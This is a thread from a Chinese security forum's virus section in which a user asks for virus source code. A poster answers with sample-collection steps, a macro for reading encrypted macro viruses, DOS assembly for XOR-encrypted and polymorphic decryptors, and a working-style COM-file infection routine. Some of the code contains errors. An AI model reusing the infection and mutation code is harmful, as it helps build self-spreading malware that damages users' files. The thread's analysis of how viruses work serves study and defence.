论坛: 病毒专区 标题: 请问谁能告诉我哪有病毒源码? 复制本贴地址    
作者: yuntian108 [yuntian108]    论坛用户   登录
如题,不胜感激!

地主 发表时间: 08/11 11:40

回复: jackcheng [jackcheng]   论坛用户   登录
 很多地方都有........

B1层 发表时间: 08/11 13:36

回复: 286 [unique]   版主   登录
你有耐心看吗?


B2层 发表时间: 08/15 13:21

回复: tommy_he [tommy_he]   版主   登录
找他好象都没有耐性了!我估计没有耐性看了!

B3层 发表时间: 08/15 14:34

回复: chinared [chinared]   论坛用户   登录
1.拿一张干净启动软盘A(如果你还能弄到的话),再搞一个小.com和一个小.exe放在上面. 下面称它们为b1.com和b2.exe.有的病毒会判文件大小...可自己编一个原码文件..在编译...(可用空白码e.g. nop (Masm) and so so)调整它们的个数即可!

2.diskcopy A->另一张软盘B. 1 & 2 都是在一台干净机上完成.

3.拿B 到你的染毒机器上用: 把那b1.com 和b2.exe copy-> 硬盘, rename-> b1.v_c 和 b2.v_e, 把B的引导区 存入文件b3.v_b.把它们(b1.v_c, b2.v_e, b3.v_b)upload上来就行了.最好把A盘的b1.com,b2.exe和引导区也upload, 以供对照.

4.如果是慢性病毒,可能需要多重复几次才行.还可以在b1.asm中插入若干条 nop ,来增大b1.com b1.exe 文件的长度.

if是系统类的病毒,then 用一干净的盘(diskettes)放进driver
一读就ok!but without any write-protected!
use debug...
-l100 0 0 1   
-na:virus
-rcx 200
-w
-q
ok.



B4层 发表时间: 08/15 17:31

回复: chinared [chinared]   论坛用户   登录
为了了解宏病毒,就必须读它的原代码,可是有时候宏是加密的,(Execute-only Macro), 

1。 重命名Normal.dot。起动word。 
// 防止word启动时就带上了宏病毒 
2。 新建一个宏,专门用于读带毒文件中的宏代码(只是原理) 

Sub Main 
DisableAutoMacros //很关键,防止引入宏病毒 
Dim D As FileOpen 
GetCurValue D 
Diolog D 
FileOpen D //这一段用于打开带毒文件 
MacroCopy D.Name+":"+"CAP", "sourceCAP",0 
MacroCopy D.Name+":"+"AutoOpen", "notAuotOpen",0 
... 
//以CAP宏病毒为例,将宏代码拷贝到normal.dot 
//其中参数0表示可编辑,非0表示加密 
FileClose 2 
Sub End 

3。 运行上面的宏,将宏代码拷贝到normal.dot 
//注意要改变宏的名字 
4。 阅读宏代码 

5。 关闭word,恢复原来的 normal.dot。 

                                                                        


B5层 发表时间: 08/17 11:36

回复: chinared [chinared]   论坛用户   登录
病毒由无加密到简单加密发展到变形病毒.早期的简单加密病毒工作范例如下: 
@entry: 
call @1 
@1: pop bp 
lea di,[bp+@3-@1] 
@2: xor byte ptr cs:[di],0 
@key = $-1 
inc di 
loop @2 
@3: ... ;病毒的主要代码 

@4: ;这里假设,es:di指向用于储存加密后代码的缓冲区 
mov cx,@end-@entry 
lea si,[bp+@entry-@1] 
push ds 
push cs 
pop ds 
in al,41h 
mov byte ptr [@key],al ;可将由41h端口读入的timer作为key 
rep movsb 
lea si,[di+@3-entry] 
mov cx,@end-entry 
@5: xor byte ptr es:[si],al 
inc si 
loop @5 
... 
@end: 
用一个简单的xor操作,以timer值作为KEY对代码进行加密.由此病毒的主体可能有256种变化,用一个更长的KEY可以得到更多的变化.但是用于解密的代码却是不变的,这是简单加密病毒的弱点. 
看看以下这个稍作修改的例子: 
@entry: 
call @1 
@1: mov ax,12h 
pop bp 
sub ax,cx 
lea di,[bp+@3-@1] 
@2: add ax,bx 
xor bype ptr cs:[di],0 
@key =$-1 
jnz $+2 
inc di 
mov ax,[12h] 
loop @2 
@3: 
... 
它和上面的例子功能是一样的,但看上去却是不同的代码.这就是变形病毒的关键:产生一些无用的代码夹在解密的代码中,使得每次的解密代码看上去是不一样的. 
选择垃圾代码的原则:1.不会破坏有用的REGISTER;2.不改变MEMORY的内容; 
3.解密代码要用FLAGS时也不能改变FLAGS.上面的例子中只需遵循1,2.一个由普通病毒改为变形病毒的例子如下: 
VirusEntry: 
... 
infect: 
.286c 
push offset VirusEntry 
push offset buffer 
call Encrypt ;encrypt virus to buffer 
... ;merge buffer to executable file 
Encrypt proc near 
decrypt:db sizeof(call $+5),rawcode(call $+5) ;定义如下, 
db sizeof(pop bp),rawcode(pop bp) ;一条代码的长度 
;代码的机器码 
... 
db 0 
;repeat 
;generate junk code and write buffer 
;wirte one decrypt code to buffer 
;untile all decrypt code has been written 
;encrypt virus and wirte buffer 
ret 
endp 
一个变形引擎可以用于任何病毒源码,使它成为一个变形病毒.这就是变形引擎的工作原理. 
Win32中将病毒分为三块:
startup code:得到API入口地址,搜索未感染文件,并调用infect code进行感染。读出已感染文件的病毒体,并调用evolution codeinfect code:感染文件
evolotion code:随机读入病毒体中的某一块,并用于替代本病毒的相应模块。
定义以下的结构用于evolution code
startuprva dd ? ;startup相对病毒开始位置的偏移
startuplen dd ? ;startup的长度
infectrva dd ?
infectlen dd ?
evolutionrva dd ?
evolutionlen dd ?
由于要进行交换,病毒没有加密。只要遵循一定的规则编写一系列的evolution病毒,它将在感染过程中不断地改变。



B6层 发表时间: 08/18 10:47

回复: chinared [chinared]   论坛用户   登录
COM文件是纯粹代码映象,加载后在内存中的映象如下:
CS=DS=ES=SS
CS:0000->+----------+
| PSP |
IP(0100)->+----------+
| COM FILE |
SP(FFFE)->+----------+
| dw 0000 |
+----------+
因此COM文件的最大SIZE为 64K-100h bytes - 1 word
感染COM的典型做法如下:
cs:0100 jmp endoffile ;db 0e9h
;dw size of com file
...
endoffile:
virusstart:
virus code

mov ax,orgcode
mov [100],ax
mov al,[orgcode+2]
mov [102],al
virussize=$-virusstart
resume:
jmp 100 ;db 0e9h
;dw -(sizeofcom+virussize)
orgcode db 3 dup (?) ;由原文件由0100开始的三个字节
感染文件,先将开始的三字节保存在orgcode中,然后更改为0E9H,SIZEOFCOMFILE.
将resume开始的三字节改为0E9H,-(sizeofcom+virussize).将病毒写入com文件的末尾.
(是不是很简单^_^).
完整的感染代码还需要有已感染的判断,和文件大小的判断.如下:

假设DS:DX指向文件名VirusSize,VirusStart的定义如上.并以下的修改:
保存开始的四个字节用
db 90h,0E9h
dw sizeofcom
替换,以0E990h为感染标记
...
mov ax,3d01h
int 21h ;open for r/w
jc OpenError
push dx
xchg ax,bx
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;seek to end
or dx,dx
jnz complete ;file larger than 64k,donot infect
cmp ax,0FEEEh-VirusSize-11
jnb complete ;com file too large for infect

cmp ax,4
jb complete ;file less than 4 bytes,donot infected

mov di,offset orgcode
mov [di+6],ax
add [di+6],VirusSize ;generate code to replace

mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;seek to begin

mov cx,4
mov dx,di
mov ah,3fh
int 21h ;read 4 bytes

jc complete
cmp word ptr [di],0E990h 
;if has been infected,should be
;nop
;jmp XXXX
jz complete
mov cx,4
add dx,cx
mov ah,40h
int 21h ;write 4 byte to the beginning

mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;seek to end

mov ah,40h
mov dx,VirusStart
mov cx,VirusSize+11
int 21h ;write Virus Code to COM
complete:
mov ah,3fh
int 21h ;close file
ErrorOpen:
...

                                                                   


B7层 发表时间: 08/18 12:51

回复: yuntian108 [yuntian108]   论坛用户   登录
对不起,我有事几天没上网。斑竹,能告诉我哪儿有吗?

B8层 发表时间: 08/19 11:12

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号